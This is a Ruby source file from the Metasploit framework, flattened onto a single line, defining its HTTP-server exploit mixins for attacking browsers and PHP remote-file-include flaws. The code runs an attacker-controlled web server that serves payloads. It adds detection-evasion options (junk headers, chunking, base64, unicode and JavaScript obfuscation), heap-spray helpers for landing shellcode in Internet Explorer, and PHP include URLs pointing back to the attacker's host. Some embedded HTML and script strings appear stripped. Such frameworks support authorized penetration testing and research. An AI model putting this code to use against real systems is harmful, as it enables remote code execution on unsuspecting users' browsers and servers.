# -*- coding: binary -*- require 'rex/service_manager' require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' require 'rex/exploitation/js' module Msf ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report def initialize(info = {}) super register_options( [ OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]), ], Exploit::Remote::HttpServer ) register_evasion_options( [ OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']), OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']), OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']), OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]), OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache']) ], Exploit::Remote::HttpServer ) # Used to keep track of resources added to the service manager by # this module. see #add_resource and #cleanup @my_resources = [] @service_path = nil end # # By default, all HTTP servers are not subject to automatic exploitation # def autofilter false end # # Thread-local client accessor # def cli Thread.current[:cli] end # # Thread-local client accessor # def cli=(cli) Thread.current[:cli] = cli end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def print_line(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def print_status(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def print_error(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def print_debug(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def print_warning(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def vprint_line(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def vprint_status(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def vprint_error(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def vprint_debug(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # :category: print_* overrides # Prepends client and module name if inside a thread with a #cli def vprint_warning(msg='') (cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super end # # Ensures that gzip can be used. If not, an exception is generated. The # exception is only raised if the DisableGzip advanced option has not been # set. # def use_zlib if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!" end end # # This method gives a derived class the opportunity to ensure that all # dependencies are present before initializing the service. # # By default, all HTTP server mixins will try to use zlib. # def check_dependencies use_zlib end ## # :category: Exploit::Remote::TcpServer overrides # # This mixin starts the HTTP server listener. This routine takes a few # different hash parameters: # # ServerHost => Override the server host to listen on (default to SRVHOST). # ServerPort => Override the server port to listen on (default to SRVPORT). # Uri => The URI to handle and the associated procedure to call. # # # TODO: This must be able to take an SSL parameter and not rely # completely on the datastore. (See dlink_upnp_exec_noauth) def start_service(opts = {}) check_dependencies comm = datastore['ListenerComm'] if (comm.to_s == "local") comm = ::Rex::Socket::Comm::Local else comm = nil end # Default the server host and port to what is required by the mixin. opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['SRVPORT'], 'Comm' => comm }.update(opts) # Start a new HTTP server service. self.service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], # XXX: Should be in opts, need to test this { 'Msf' => framework, 'MsfExploit' => self, }, opts['Comm'], datastore['SSLCert'], datastore['SSLCompression'] ) self.service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => Proc.new { |cli, req| self.cli = cli ( self.respond_to?(:filter_request_uri) && filter_request_uri(cli, req) ) ? nil : on_request_uri(cli, req) }, 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore["SSL"] ? "https" : "http") # SSLCompression may or may not actually be available. For example, on # Ubuntu, it's disabled by default, unless the correct environment # variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666 if proto == "https" and datastore['SSLCompression'] print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!") end print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") end add_resource(uopts) end # Set {#on_request_uri} to handle the given +uri+ in addition to the one # specified by the user in URIPATH. # # @note This MUST be called from {#primer} so that the service has been set # up but we have not yet entered the listen/accept loop. # # @param uri [String] The resource URI that should be handled by # {#on_request_uri}. # @return [void] def hardcoded_uripath(uri) proc = Proc.new do |cli, req| on_request_uri(cli, req) end vprint_status("Adding hardcoded uri #{uri}") begin add_resource({'Path' => uri, 'Proc' => proc}) rescue RuntimeError => e print_error("This module requires a hardcoded uri at #{uri}. Can't run while other modules are using it.") raise e end end # Take care of removing any resources that we created def cleanup # Must dup here because remove_resource modifies @my_resources @my_resources.dup.each do |resource| remove_resource(resource) end super end # # Return a Hash containing a best guess at the actual browser and operating # system versions, based on the User-Agent header. # # Keys in the returned hash are similar to those expected of # Report#report_client, and Msf::DBManager#report_host namely: # +:ua_name+:: a brief identifier for the client, e.g. "Firefox" # +:ua_ver+:: the version number of the client, e.g. "3.0.11" # +:os_name+:: one of the Msf::OperatingSystems constants # +:os_flavor+:: something like "XP" or "Gentoo" # +:os_lang+:: something like "English", "French", or "en-US" # +:arch+:: one of the ARCH_* constants # # Unknown values may be nil. # def fingerprint_user_agent(ua_str) fp = { :ua_string => ua_str } # always check for IE last because everybody tries to # look like IE case (ua_str.downcase) # Chrome tries to look like Safari, so check it first when /chrome\/(\d+(:?\.\d+)*)/ # Matches, e.g.: # Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3 fp[:ua_name] = HttpClients::CHROME fp[:ua_ver] = $1 when /version\/(\d+(:?\.\d+)*)\s*safari/ fp[:ua_name] = HttpClients::SAFARI fp[:ua_ver] = $1 when /firefox\/((:?[0-9]+\.)+[0-9]+)/ fp[:ua_name] = HttpClients::FF fp[:ua_ver] = $1 when /opera\/(\d+(:?\.\d+)*)/ fp[:ua_name] = HttpClients::OPERA fp[:ua_ver] = $1 when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/ fp[:ua_name] = HttpClients::IE fp[:ua_ver] = $1 else fp[:ua_name] = HttpClients::UNKNOWN end case (ua_str.downcase) when /(en-us|en-gb)/ fp[:os_lang] = $1 end case (ua_str.downcase) when /windows/ fp[:os_name] = OperatingSystems::WINDOWS fp[:arch] = ARCH_X86 when /linux/ fp[:os_name] = OperatingSystems::LINUX when /iphone/ fp[:os_name] = OperatingSystems::MAC_OSX fp[:arch] = 'armle' when /mac os x/ fp[:os_name] = OperatingSystems::MAC_OSX else fp[:os_name] = OperatingSystems::UNKNOWN end case (ua_str.downcase) when /windows 95/ fp[:os_flavor] = '95' when /windows 98/ fp[:os_flavor] = '98' when /windows nt 4/ fp[:os_flavor] = 'NT' when /windows nt 5.0/ fp[:os_flavor] = '2000' when /windows nt 5.1/ fp[:os_flavor] = 'XP' when /windows nt 5.2/ fp[:os_flavor] = '2003' when /windows nt 6.0/ fp[:os_flavor] = 'Vista' when /windows nt 6.1/ fp[:os_flavor] = '7' when /windows nt 6.2/ fp[:os_flavor] = '8' when /gentoo/ fp[:os_flavor] = 'Gentoo' when /debian/ fp[:os_flavor] = 'Debian' when /ubuntu/ fp[:os_flavor] = 'Ubuntu' when /fedora/ fp[:os_flavor] = 'Fedora' when /red hat|rhel/ fp[:os_flavor] = 'RHEL' when /android/ fp[:os_flavor] = 'Android' else fp[:os_flavor] = '' end case (ua_str.downcase) when /ppc/ fp[:arch] = ARCH_PPC when /x64|x86_64/ fp[:arch] = ARCH_X86_64 when /i.86|wow64/ # WOW64 means "Windows on Windows64" and is present # in the useragent of 32-bit IE running on 64-bit # Windows fp[:arch] = ARCH_X86 when /android|iphone|ipod|ipad/ fp[:arch] = ARCH_ARMLE else fp[:arch] = ARCH_X86 end fp end # # Store the results of server-side User-Agent fingerprinting in the DB. # # Returns a Hash containing host and client information. # def report_user_agent(address, request, client_opts={}) fp = fingerprint_user_agent(request["User-Agent"]) host = { :address => address, :host => address, } host[:os_name] = fp[:os_name] if fp[:os_name] host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor] host[:arch] = fp[:arch] if fp[:arch] host[:os_lang] = fp[:os_lang] if fp[:os_lang] report_host(host) client = { :host => address, :ua_string => request['User-Agent'], } client[:ua_name] = fp[:ua_name] if fp[:ua_name] client[:ua_ver] = fp[:ua_ver] if fp[:ua_ver] client.merge!(client_opts) if client_opts report_client(client) report_note( :host => address, :type => 'http.request', :data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}", :update => :unique_data ) return host.merge(client) end # # Adds a URI resource using the supplied hash parameters. # # Path => The path to associate the procedure with. # Proc => The procedure to call when the URI is requested. # LongCall => Indicates that the request is a long call. # # NOTE: Calling #add_resource will change the results of subsequent calls # to #get_resource! # # @return (see Rex::Service#add_resource) def add_resource(opts) @service_path = opts['Path'] res = service.add_resource(opts['Path'], opts) # This has to go *after* the call to service.add_resource in case # the service manager doesn't like it for some reason and raises. @my_resources.push(opts['Path']) res end # # Returns the last-used resource path # def get_resource # We don't want modules modifying their service_path inadvertantly, so # give them a dup. Can be nil during module setup. @service_path ? @service_path.dup : nil end # # Return a full url of the form http://1.1.1.1:8080/resource/ # # The address portion should be something a client would be able to route, # but see {#srvhost_addr} for caveats. # def get_uri(cli=self.cli) ssl = !!(datastore["SSL"]) proto = (ssl ? "https://" : "http://") if (cli and cli.peerhost) host = Rex::Socket.source_address(cli.peerhost) else host = srvhost_addr end if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end if (ssl and datastore["SRVPORT"] == 443) port = '' elsif (!ssl and datastore["SRVPORT"] == 80) port = '' else port = ":" + datastore["SRVPORT"].to_s end uri = proto + host + port + get_resource uri end # # An address to which the client can route. # # If available, return LHOST which should be the right thing since it # already has to be an address the client can route to for the payload to # work. However, LHOST will only be available if we're using a reverse_* # payload, so if we don't have it, try to use the client's peerhost # address. Failing that, fall back to the addr with the default gateway. # All of this will be for naught in the case of a user behind NAT using a # bind payload but there's nothing we can do about it. # # NOTE: The address will be *incorrect* in the following two situations: # 1. LHOST is pointed at a multi/handler on some other box. # 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're # using a bind payload. In that case, we don't have an LHOST and # the source address will be internal. # # This can potentially be dealt with in a module by using the Host header # from a request if such a header exists. # # @return [String] def srvhost_addr if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?)) host = datastore["LHOST"] else if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") if (respond_to?(:sock) and sock and sock.peerhost) # Then this is a Passive-Aggressive module. It has a socket # connected to the remote server from which we can deduce the # appropriate source address. host = Rex::Socket.source_address(sock.peerhost) else # Otherwise, this module is only a server, not a client, *and* # the payload does not have an LHOST option. This can happen, # for example, with a browser exploit using a download-exec # payload. In that case, just use the address of the interface # with the default gateway and hope for the best. host = Rex::Socket.source_address end else host = datastore['SRVHOST'] end end host end # # Removes a URI resource. # def remove_resource(name) # Guard against removing resources added by other modules if @my_resources.include?(name) @my_resources.delete(name) service.remove_resource(name) end end # # Closes a client connection. # def close_client(cli) service.close_client(cli) end # # Creates an HTTP response packet. # def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol) res = Rex::Proto::Http::Response.new(code, message, proto); res['Content-Type'] = 'text/html' res end # # Transmits a response to the supplied client, default content-type is text/html # # Payload evasions are implemented here! # def send_response(cli, body, headers = {}) response = create_response response['Content-Type'] = 'text/html' response.body = body.to_s.unpack("C*").pack("C*") if (datastore['HTTP::compression']) self.use_zlib # make sure... response.compress = datastore['HTTP::compression'] end if (datastore['HTTP::chunked'] == true) response.auto_cl = false response.transfer_chunked = true end if (datastore['HTTP::header_folding'] == true) response.headers.fold = 1 end if (datastore['HTTP::junk_headers'] == true) response.headers.junk_headers = 1 end headers.each_pair { |k,v| response[k] = v } cli.send_response(response) end # # Sends a 302 redirect to the client # def send_redirect(cli, location='/', body='', headers = {}) response = create_response(302, 'Moved') response['Content-Type'] = 'text/html' response['Location'] = location response.body = body.to_s.unpack("C*").pack("C*") headers.each_pair { |k,v| response[k] = v } cli.send_response(response) end # # Sends a 302 redirect relative to our base path # def send_local_redirect(cli, location) send_redirect(cli, get_resource + location) end # # Sends a 404 # def send_not_found(cli) resp_404 = create_response(404, 'Not Found') resp_404.body = %Q{\ 404 Not Found

Not Found

The requested URL was not found on this server.


Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}
} cli.send_response(resp_404) end # # Returns the configured (or random, if not configured) URI path # def resource_uri path = datastore['URIPATH'] || random_uri path = '/' + path if path !~ /^\// return path end # # Generates a random URI for use with making finger printing more # challenging. # def random_uri "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end # # Re-generates the payload, substituting the current RHOST and RPORT with # the supplied client host and port. # def regenerate_payload(cli, arch = nil, platform = nil, target = nil) pcode = nil # If the payload fails to generate for some reason, send a 403. if ((pcode = super(cli, arch, platform, target)) == nil) print_error("Failed to generate payload, sending 403.") cli.send_response( create_response(403, 'Forbidden')) return nil end pcode end ## # # Override methods # ## # # Called when a request is made to a single URI registered during the # start_service. Subsequent registrations will not result in a call to # on_request_uri. # # Modules should override this method. # def on_request_uri(cli, request) end end ### # # This module provides methods for exploiting an HTTP client by acting # as an HTTP server. # ### module Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer protected def initialize(info = {}) super register_evasion_options( [ # utf-8, utf-7 and utf-7-all are currently not supported by # most browsers. as such, they are not added by default. The # mixin supports encoding using them, however they are not # listed in the Option. OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML) end # # Obfuscates symbols found within a javascript string. # # Returns an ObfuscateJS object # def obfuscate_js(javascript, opts) js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) js.obfuscate return js end # # Encrypts a given javascript string using the provided key. # # Returns a string containing the encrypted string and a loader # def encrypt_js(javascript, key) Rex::Exploitation::EncryptJS.encrypt(javascript, key) end # # Returns the heaplib javascript, including any custom javascript supplied # by the caller. # def heaplib(custom_js = '', opts = {}) Rex::Exploitation::HeapLib.new(custom_js, opts).to_s end # # Returns the heaplib2 javascript # def js_heaplib2(custom_js = '', opts = {}) @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) end def js_base64 @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end # # Downloads data using ajax # # Supported arguments: # method => Optional. HTTP Verb (eg. GET/POST) # path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you # must use a relative path, otherwise you will be blocked by the browser. # data => Optional. Data to pass to the server # # Example of using the ajax_download() function: # For IE, your web server has to return this header to download binary data: # "text/plain; charset=x-user-defined" # # def js_ajax_download @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download end # # Transfers data using a POST request # def js_ajax_post @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post end # # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's # suitable for a no-spray technique. There should be an allocation that contains an array of # pointers to strings that we control, and each string should reside in its own buffer. # Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on # Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific # writing style, so make sure you have the following before using: # * You must have the following at the beginning of your HTML file: # # # * You must have the following in : # # # # # The "mstime_malloc" JavaScript function supports the following arguments: # shellcode => The shellcode to place. # offset => Optional. The pointer index that points to the shellcode. # heapBlockSize => Object size. # objId => The ID to your ANIMATECOLOR element. # # Example of using "js_mstime_malloc": # # def js_mstime_malloc @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc end # # This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty) # function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's # publication on "DEPS – Precise Heap Spray on Firefox and IE10". In IE, the shellcode # should land at address 0x0c0d2020, as this is the most consistent location across # various versions. # # The "sprayHeap" JavaScript function supports the following arguments: # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x00 # heapBlockSize => Optional. Allocation size, default: 0x80000 # maxAllocs => Optional. Number of allocation calls, default: 0x350 # # Example of using the 'sprayHeap' function: # # def js_property_spray @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray end def js_heap_spray @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray end def js_explib2 @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 end def js_explib2_payload(payload="exec") @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) end def js_os_detect @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end def js_ie_addons_detect @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons end def js_misc_addons_detect @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons end # Transmits a html response to the supplied client # # HTML evasions are implemented here. def send_response_html(cli, body, headers = {}) body = body.to_s.unpack("C*").pack("C*") if datastore['HTML::base64'] != 'none' case datastore['HTML::base64'] when 'plain' body = Rex::Text.encode_base64(body) when 'single_pad' body = Rex::Text.encode_base64(' ' + body) when 'double_pad' body = Rex::Text.encode_base64(' ' + body) when 'random_space_injection' body = Rex::Text.encode_base64(body) new = '' while (body.size > 0) new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") end body = new end body = 'Could not render object' end if datastore['HTML::javascript::escape'] > 0 datastore['HTML::javascript::escape'].times { body = '' } end if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else # special cases case datastore['HTML::unicode'] when 'utf-16be-marker' headers['Content-Type'] = 'text/html' body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be') when 'utf-7-all' headers['Content-Type'] = 'text/html; charset=utf-7' body = Rex::Text.to_unicode(body, 'utf-7', 'all') when 'none' # do nothing else raise RuntimeError, 'Invalid unicode. how did you get here?' end end send_response(cli, body, headers) end end ### # # This module provides methods for exploiting PHP scripts by acting as an HTTP # server hosting the payload for Remote File Include vulnerabilities. # ### module Exploit::Remote::HttpServer::PHPInclude include Msf::Exploit::Remote::HttpServer def initialize(info = {}) # Override TCPServer's stance of passive super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive)) register_evasion_options( [ OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]), ], Exploit::Remote::HttpServer::PHPInclude ) end # Since these types of vulns are Stance::Aggressive, override HttpServer's # normal non-automatic behaviour and allow things to run us automatically def autofilter true end ## # :category: Exploit::Remote::TcpServer overrides # # Override exploit() to handle service start/stop # # Disables SSL for the service since we always want to serve our evil PHP # files from a non-ssl server. There are two reasons for this: # 1. https is only supported on PHP versions after 4.3.0 and only if # the OpenSSL extension is compiled in, a non-default configuration on # most systems # 2. somewhat less importantly, the SSL option would conflict with the # option for our client connecting to the vulnerable server # def exploit old_ssl = datastore["SSL"] datastore["SSL"] = false start_service datastore["SSL"] = old_ssl #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) # print_error("Warning: the URL used for the include might be wrong!") # print_error("If the target system can route to #{srvhost_addr} it") # print_error("is safe to ignore this warning. If not, try using a") # print_error("reverse payload instead of bind.") #end begin print_status("PHP include server started."); php_exploit ::IO.select(nil, nil, nil, 5) rescue ::Interrupt raise $! ensure stop_service end end # # Transmits a PHP payload to the web application # def send_php_payload(cli, body, headers = {}) case datastore['PHP::Encode'] when 'base64' body = "" when 'none' body = "" end send_response(cli, body, headers) end ## # :category: Event Handlers # # Handle an incoming PHP code request # def on_request_uri(cli, request, headers={}) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Send it to the application send_php_payload(cli, p.encoded, headers) end # # The PHP include URL (pre-encoded) # # Does not take SSL into account. For the reasoning behind this, see # {#exploit}. # # @return [String] The URL to be used as the argument in a call to # +require+, +require_once+, or +include+ or +include_once+ in a # vulnerable PHP app. def php_include_url(sock=nil) host = srvhost_addr if Rex::Socket.is_ipv6?(host) host = "[#{host}]" end "http://#{host}:#{datastore['SRVPORT']}#{get_resource()}?" end end end